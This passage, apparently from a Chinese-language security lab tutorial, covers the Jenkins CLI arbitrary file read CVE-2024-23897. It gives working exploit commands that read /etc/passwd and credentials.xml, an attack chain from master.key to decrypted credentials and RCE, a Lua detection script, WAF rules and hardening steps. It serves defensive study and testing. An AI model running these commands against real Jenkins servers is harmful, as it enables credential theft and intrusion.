▼ (命令回显/报错时把内容带出来)
攻击者看到文件内容
7.2 影响版本与修复版本
| 影响(存在漏洞) | 修复 | |
|---|---|---|
| 周版本 | ≤ 2.441 | 2.442 |
| LTS | ≤ 2.426.2 | 2.426.3、2.440.1 |
官方:Jenkins Security Advisory 2024-01-24,编号 SECURITY-3314 / CVE-2024-23897。
7.3 权限差异(很重要,直接决定能读多少)
- 未授权(匿名) :能读文件的前几行(官方说近期版本无插件时最多前 3 行)。
- 有 Overall/Read 权限 :能读整个文件。
所以"未授权读单行文件"= 完整内容;"未授权读多行文件"= 只漏前几行。
7.4 危害
关键事实:
| 项 | 值 |
|---|---|
| CVSS | 9.8(Critical) |
| CWE | CWE-22 路径穿越 |
| 发现者 | SonarSource(Yaniv Nizry) |
| 披露 | 2024-01-24 |
| CISA KEV | 2024-08-19 收录(已在真实攻击中被利用,含勒索软件) |
可被读取的关键文件(官方公告列出):
text
$JENKINS_HOME/secrets/master.key # 主加密密钥(解密凭据的关键)
$JENKINS_HOME/secret.key # 签名密钥
$JENKINS_HOME/credentials.xml # 加密的凭据库
$JENKINS_HOME/config.xml # 完整安全配置
/etc/passwd、SSH 私钥等系统文件 # 以及 initialAdminPassword、users/*/config.xml
完整攻击链(官方方向):
text
未授权读前几行 / 授权读整文件(含二进制秘密)
↓
拿到 master.key 等密钥 → 解密 credentials.xml
↓
得到云密钥、Git Token、SSH 私钥等明文
↓
用凭据登录 / 建恶意 Job / 在 agent 上执行代码
↓
RCE、横向移动、供应链投毒
这也是为什么官方强调:只要怀疑 master key 可能被读过,就必须假定所有凭据已泄露、全部轮换,光打补丁不够。
8. 漏洞验证(仅限授权环境)> 前提:3 节环境已起,http://127.0.0.1:8080 可访问,~/jenkins-lab 里有 CLI jar。
8.1 下载 CLI 工具
bash
cd ~/jenkins-lab
curl -O http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar
8.2 先验证 CLI 通不通
bash
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket who-am-i
# Authenticated as: anonymous
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket version
# 2.426.2
若
-webSocket报错,换-http;再不行去掉传输参数(走 TCP 50000):
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ help
8.3 未授权任意文件读取验证(读前几行 / 单行文件完整读)
读 Linux 的单行文件(整行都能读出来):
bash
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket help '@/etc/hostname'
读 macOS 的良性文件(本机是 mac 时用这个):
bash
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket help '@/etc/hosts'
读多行文件(未授权只能看到前几行):
bash
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket help '@/etc/passwd'
预期效果:输出里回显出文件内容(前 1~3 行)。不同小版本回显格式略有差异,重点看文件内容有没有被打出来。
8.4 授权后读完整文件(体现"权限差异")
- 生成 API Token:右上角 admin → Configure → API Token → Add new Token → 复制。
- 带鉴权,用能整段回显参数的
connect-node(下面先用明文写法演示,安全写法见 8.6):
bash
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
-auth admin:你的TOKEN connect-node '@/etc/passwd'
# 报错信息里会带出完整 /etc/passwd
读我们放的"模拟秘密文件":
bash
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
-auth admin:你的TOKEN connect-node '@/Users/你的用户名/secret_flag.txt'
读 Jenkins 自己的凭据配置(敏感,仅限自己实验环境):
bash
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
-auth admin:你的TOKEN connect-node '@/Users/你的用户名/.jenkins/credentials.xml'
8.5 修复版对比(可选,加深理解)
bash
cd ~/jenkins-lab
# 另起一个修复版(先停掉旧的,或换端口 8081)
curl -L -o jenkins-2.426.3.war https://get.jenkins.io/war-stable/2.426.3/jenkins.war
JENKINS_HOME=~/.jenkins-fixed java -jar jenkins-2.426.3.war --httpPort=8081
# 重新下载对应 cli jar 后,同样命令会失败/不再回显文件内容
8.6 凭据安全:别把 Token 裸写在命令行
上面 8.4 用了 -auth 用户名:Token 明文写法,官方不推荐 ------Token 会同时漏进:
~/.bash_history/~/.zsh_history、ps aux 进程列表、终端录屏、CI 日志、set -x 回显。这些地方你补不干净。
官方推荐:把凭据放进文件,用 @ 引用 (注意别和漏洞里的 @ 文件读取混淆------这里是 CLI 的 -auth @文件 正常用法):
bash
# ① 凭据文件(官方最推荐)
printf 'admin:你的TOKEN' > ~/.jenkins-cli # 用 printf 避免末尾多余换行
chmod 600 ~/.jenkins-cli # 只有自己可读
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
-auth @$HOME/.jenkins-cli connect-node '@/etc/passwd'
# 注意: @ 后面用 $HOME 完整路径,不要用 ~(Java 不认 ~ 简写)
封装成 alias,日常零秘密:
bash
alias jcli='java -jar ~/jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket -auth @$HOME/.jenkins-cli'
# 写入 shell 配置永久生效(zsh 用 ~/.zshrc)
echo "alias jcli='java -jar ~/jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket -auth @$HOME/.jenkins-cli'" >> ~/.zshrc
jcli who-am-i
其它方式:
bash
# ② Bearer Token 文件(新版 CLI,文件里只放 token 本身,不含用户名)
printf '你的TOKEN' > ~/.jenkins-token && chmod 600 ~/.jenkins-token
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket -bearer @$HOME/.jenkins-token who-am-i
# ③ 环境变量(把 export 写进 600 权限文件再 source,别直接在命令行 export)
# ~/.jenkins-env: export JENKINS_USER_ID=admin / export JENKINS_API_TOKEN=xxx
source ~/.jenkins-env && jcli who-am-i
如果已经明文跑过 :先吊销 Token (头像 → Security → API Token → 删除重生成)------吊销是确定性止损;再清 history(history -d 行号 + history -w)。顺序别反。
9. 编写检测插件
9.1 思路(分四步)
- 指纹识别 :请求
/,从X-Jenkins响应头(或 HTML)拿版本号。 - 版本预筛 :
< 2.442判为"可能受影响"(只缩小范围,不当作最终结论)。 - 主动验证 :下载
jenkins-cli.jar,用java发起help '@/良性文件',看输出是否回显文件内容。 - 判定 + 报告:输出是否复现 + 修复建议。
为什么"版本 + 主动验证"结合?因为版本号存在周版本/LTS 边界(如 2.426.3 已修复但 < 2.442),
只靠版本会误报。主动验证才是最终证据。
9.2 安装依赖
bash
# macOS
brew install lua luarocks
luarocks install luasocket
# 若编译报错,先装命令行工具:xcode-select --install
# Linux
sudo apt install -y lua5.3 luarocks liblua5.3-dev
sudo luarocks install luasocket
# 验证
lua -e 'require("socket.http"); print("luasocket ok")'
9.3 完整脚本
把下面内容保存为 jenkins_cve_2024_23897.lua:
lua
-- ============================================================
-- Jenkins CVE-2024-23897 任意文件读取 检测/无损验证脚本
-- 依赖: LuaSocket (luarocks install luasocket)
-- 用法:
-- lua jenkins_cve_2024_23897.lua http://127.0.0.1:8080
-- lua jenkins_cve_2024_23897.lua http://127.0.0.1:8080 /etc/os-release
-- lua jenkins_cve_2024_23897.lua http://127.0.0.1:8080 /etc/passwd # 有风险,慎用
-- ============================================================
local http = require("socket.http")
local ltn12 = require("ltn12")
local target = (arg[1] or "http://127.0.0.1:8080"):gsub("/+$", "")
local file = arg[2] -- 不传则由脚本按平台选良性文件
local osname = (io.popen("uname"):read("*l") or "Linux")
local DEFAULT_FILES = {
Linux = "/etc/hostname", -- 单行,非敏感,内容可预测
Darwin = "/etc/shells", -- macOS: 系统 shell 列表,良性
}
local TRANSPORT = "-webSocket" -- 换 "-http" 或 "" (默认remoting) 亦可
-- ---------- 工具 ----------
local function header_get(h, name)
if not h then return nil end
local ln = name:lower()
for k, v in pairs(h) do
if tostring(k):lower() == ln then return v end
end
return nil
end
local function ver_cmp(a, b)
local function to_t(s)
local t = {}
for n in tostring(s):gmatch("%d+") do t[#t+1] = tonumber(n) end
return t
end
local x, y = to_t(a), to_t(b)
for i = 1, math.max(#x, #y) do
local u, v = x[i] or 0, y[i] or 0
if u ~= v then return (u < v) and -1 or 1 end
end
return 0
end
local function http_get(u)
local t = {}
local ok, code, headers = http.request{
url = u, redirect = true,
sink = ltn12.sink.table(t),
headers = { ["User-Agent"] = "cve-2024-23897-checker/1.0" },
}
return code, table.concat(t), headers
end
-- ---------- 1. 指纹识别 ----------
local function fingerprint()
local code, body, headers = http_get(target .. "/")
if not code or code ~= 200 then
print("[!] 目标无响应: " .. tostring(code)); return nil
end
local ver = header_get(headers, "X-Jenkins")
if not ver then
ver = body:match('data%-version="([%d%.]+)"')
or body:match("Jenkins%s+ver%.%s+([%d%.]+)")
end
return ver
end
-- ---------- 2. 版本预筛 ----------
local function maybe_vulnerable(ver)
-- 修复: 2.442 / 2.426.3 / 2.440.1。此处只做粗筛,最终靠主动验证
return ver_cmp(ver, "2.442") < 0
end
-- ---------- 3. 下载 cli jar ----------
local function get_cli_jar()
local jar = "/tmp/jenkins-cli.jar"
local f = io.open(jar, "r")
if f then f:close(); return jar end
local fo = assert(io.open(jar, "wb"))
local ok, code = http.request{
url = target .. "/jnlpJars/jenkins-cli.jar",
sink = ltn12.sink.file(fo),
headers = { ["User-Agent"] = "cve-2024-23897-checker/1.0" },
}
fo:close()
return (code == 200) and jar or nil
end
-- ---------- 4. 主动验证 ----------
local function verify(f)
local jar = get_cli_jar()
if not jar then print("[-] 无法下载 jenkins-cli.jar(可能CLI已禁用/目标非Jenkins)"); return nil end
local cmd
if TRANSPORT == "" then
cmd = string.format('java -jar "%s" -s "%s" help "@%s" 2>&1', jar, target, f)
else
cmd = string.format('java -jar "%s" -s "%s" %s help "@%s" 2>&1', jar, target, TRANSPORT, f)
end
print("[*] 执行: " .. cmd)
local p = io.popen(cmd)
local out = p:read("*a")
p:close()
return out
end
-- ---------- 主流程 ----------
local ver = fingerprint()
if not ver then os.exit(1) end
print("[+] 识别到 Jenkins 版本: " .. ver)
if not maybe_vulnerable(ver) then
print("[-] 版本 " .. ver .. " >= 2.442,大概率已修复(预筛结果)")
print(" (如需严格确认可继续主动验证)")
end
local target_file = file or DEFAULT_FILES[osname] or "/etc/hostname"
print("[*] 无损验证文件(非敏感): " .. target_file)
local out = verify(target_file)
if out and #out > 0 then
print("\n[+] ========== 命令输出 ==========")
print(out)
print("[+] ========== 判定 ==========")
print("[+] 疑似存在 CVE-2024-23897(已主动验证)。请人工核对输出是否含目标文件内容。")
print("[+] 修复建议: 升级到 2.442 / 2.426.3 / 2.440.1,或禁用 CLI。")
else
print("[-] 未复现: 目标可能已修复/CLI已禁用/网络不通。")
end
9.4 运行
bash
lua jenkins_cve_2024_23897.lua http://127.0.0.1:8080
# 想指定其它良性文件:
lua jenkins_cve_2024_23897.lua http://127.0.0.1:8080 /etc/os-release
说明:脚本用
java -jar jenkins-cli.jar是因为 Jenkins CLI 是二进制 remoting/WebSocket 协议,纯 Lua 手写协议成本高且易错;让 Lua 做"编排 + 指纹 + 判定",让官方 CLI 工具做"传输",
是可靠又便于入门的做法。要迁移到别的扫描框架,只需把"指纹/版本/验证/判定"这几步换成目标框架的 API 即可。
10. 生产环境无损验证
"无损"= 不改状态 + 不搬走敏感数据。原则:
- 只读、不写:不触发构建、不建 Job、不删任何东西。
- 只读"已知且非敏感"的文件:内容能预测、无秘密,用来证明"读文件"这个原语成立即可。
- 最小化:只读 1~2 个良性文件,读完即止。
- 授权边界:只对你有授权的资产做。
- 全程留痕:记录时间、目标、命令、输出,形成验证报告。
推荐的无损验证文件(Linux):
bash
/etc/hostname # 单行:主机名(和实际 hostname 比对)
/etc/os-release # 第一行 PRETTY_NAME(可判断发行版)
/proc/version # 第一行内核版本
判定方式:回显内容是否等于预期值 。例如 help '@/etc/hostname' 输出若包含主机名,即可确认漏洞真实存在且可利用,而全程没有触碰任何敏感数据。
反面教材:生产里千万别读
/etc/shadow、credentials.xml、私钥、数据库配置等------那已经超出"无损验证"的边界,可能构成数据泄露。
11. WAF 能否拦截 + 规则怎么写
11.1 结论(先给)
- 能拦,但靠"找
@/etc/passwd字符串"这种朴素签名基本拦不住 。因为-webSocket/-http
传输时,参数被序列化(二进制/分帧),WAF 看到的是字节流,不是明文@/etc/passwd;
@展开发生在服务端反序列化之后。 - 最有效的 WAF 动作是"封堵 CLI 入口" :把
/cli、/jnlpJars/jenkins-cli.jar拦截掉,
就等于关掉了这条攻击通道。 - 朴素签名可以作为兜底(对某些明文变体/老协议有效),但不能当作主要防线。
11.2 拦截点
| 端点 | 说明 |
|---|---|
/cli(HTTP POST / WebSocket 升级) |
CLI 真正入口,攻击必经 |
/jnlpJars/jenkins-cli.jar |
攻击者先下 CLI 工具 |
参数含 @/etc/、@/proc/、@C:\ 等 |
明文变体的兜底特征 |
11.3 ModSecurity 规则(Apache/Nginx + ModSecurity)
apache
# 规则1: 封堵 Jenkins CLI 入口(业务不用 CLI 时直接 deny)
SecRule REQUEST_URI "^/cli(?:/|$)" \
"id:100001,phase:1,deny,status:403,log,\
msg:'Jenkins CLI endpoint blocked (CVE-2024-23897 mitigation)'"
# 规则2: 阻断 CLI 工具下载
SecRule REQUEST_URI "^/jnlpJars/jenkins-cli\.jar$" \
"id:100002,phase:1,deny,status:403,log,\
msg:'Jenkins CLI jar download blocked'"
# 规则3: 兜底签名(需开启请求体检查; 对明文变体有效)
SecRule REQUEST_URI|ARGS|REQUEST_BODY "@\s*/(etc|proc|var|home|root|tmp)/" \
"id:100003,phase:2,deny,status:403,log,\
msg:'CVE-2024-23897 file-read pattern detected'"
注意事项:
- 请求体规则要放在
phase:2,并确保SecRequestBodyAccess On。 - 规则1/2 可能影响正常脚本化运维(如果业务真的用 CLI),应改为"仅内网放行 + 外网 deny"。
11.4 OpenResty / nginx Lua WAF 示例
lua
-- nginx.conf 的 location 内
access_by_lua_block {
local uri = ngx.var.uri
-- 1) 封堵 CLI 入口
if uri == "/cli" or uri:find("^/cli/") then
ngx.log(ngx.WARN, "blocked Jenkins CLI: ", uri)
return ngx.exit(403)
end
-- 2) 封堵 CLI 工具下载
if uri:find("^/jnlpJars/jenkins%-cli%.jar$") then
ngx.log(ngx.WARN, "blocked jenkins-cli.jar download")
return ngx.exit(403)
end
-- 3) 兜底: 明文参数出现 @/ 文件特征
for k, v in pairs(ngx.req.get_uri_args()) do
if type(v) == "string" and v:find("@%s*/") then
ngx.log(ngx.WARN, "suspicious @file arg: ", k, "=", v)
return ngx.exit(403)
end
end
}
11.5 更稳的组合策略
- 网络层:Jenkins 只允许内网/跳板机访问,公网一律禁止。
- WAF :封
/cli、/jnlpJars/jenkins-cli.jar;保留@/签名兜底。 - 主机/应用层:升级到修复版;或禁用 CLI;开启审计日志。
- 监控:告警"下载 jenkins-cli.jar 后紧跟 POST /cli"的行为序列。
WAF 是缓解,升级/禁用 CLI 才是根治。
12. 修复与加固
12.1 根治:升级
bash
# 停止旧实例,替换 war 为修复版
curl -L -o jenkins.war https://get.jenkins.io/war-stable/2.426.3/jenkins.war
java -jar jenkins.war --httpPort=8080
修复版本:2.442(周版本)/ 2.426.3 / 2.440.1(LTS)。
12.2 临时缓解:禁用 CLI(无需重启,官方建议)
三种方式任选:
bash
# ① UI 方式(最省事,无需重启): Manage Jenkins → Configure Global Security
# 取消勾选 "Enable CLI over Remoting" → 保存
bash
# ② 系统属性方式(不同版本属性名可能略有差异,常见为 jenkins.CLI.disabled)
java -Djenkins.CLI.disabled=true -jar jenkins.war --httpPort=8080
groovy
// ③ 脚本控制台方式
jenkins.model.Jenkins.instance.getDescriptor("jenkins.CLI").get().setEnabled(false)
注意:
hudson.cli.CLICommand.allowAtSyntax=true是"若修复破坏了兼容性时重新放开@语法",不是修复手段,别混淆。
12.3 事后必做 + 防御清单
光打补丁不够 :只要 master.key 可能被读过,就必须假定所有凭据已泄露、全部轮换(云密钥、Git Token、SSH 私钥、部署密码)。轮换凭据是"确定性止损",比查日志更可靠。
防御清单(按优先级):
| 优先级 | 措施 |
|---|---|
| P0 | 杜绝匿名访问,Overall/Read 不给 anonymous |
| P0 | 版本 ≥ 2.442 / LTS 2.426.3(修 CVE-2024-23897) |
| P0 | Jenkins 绝不用 root 跑 |
| P1 | --httpListenAddress=127.0.0.1 绑定回环,远程走 Nginx/SSH 隧道 |
| P1 | Nginx 层封 /script、/scriptText |
| P1 | 关闭不用的 CLI 通道 |
| P2 | 开审计日志,监控 /script、/cli、config.xml 的访问 |
| P2 | 清理 config.xml 里的硬编码密码,统一走凭据管理 |
| P2 | 定期轮换凭据(尤其怀疑被影响过的实例) |
12.4 其它加固
- 给 API Token 设过期、最小权限;不同用途用不同 Token。
- 限制
POST /script脚本控制台权限(只给极少数管理员)。 - 凭据命令行零明文(见 8.6,用
-auth @文件)。 - 开启 Jenkins 审计日志,接入 SIEM。
13. 参考链接
- Jenkins 官方安全公告(SECURITY-3314 / CVE-2024-23897):
https://www.jenkins.io/security/advisory/2024-01-24/ - Jenkins Remote API 文档:https://www.jenkins.io/doc/book/using/remote-access-api/
- Jenkins CLI 文档:https://www.jenkins.io/doc/book/managing/cli/
- war 包下载:https://get.jenkins.io/war-stable/(选 2.426.2 复现 / 2.426.3 对比)
- args4j(了解
@展开机制):https://github.com/kohsuke/args4j - CVE-2024-23897 深挖:https://safeguard.sh/resources/blog/cve-2024-23897-jenkins-cli-file-read-deep-dive
- LuaSocket:https://github.com/lunarmodules/luasocket
本文仅用于授权环境下的安全学习与防御,请勿用于未授权测试。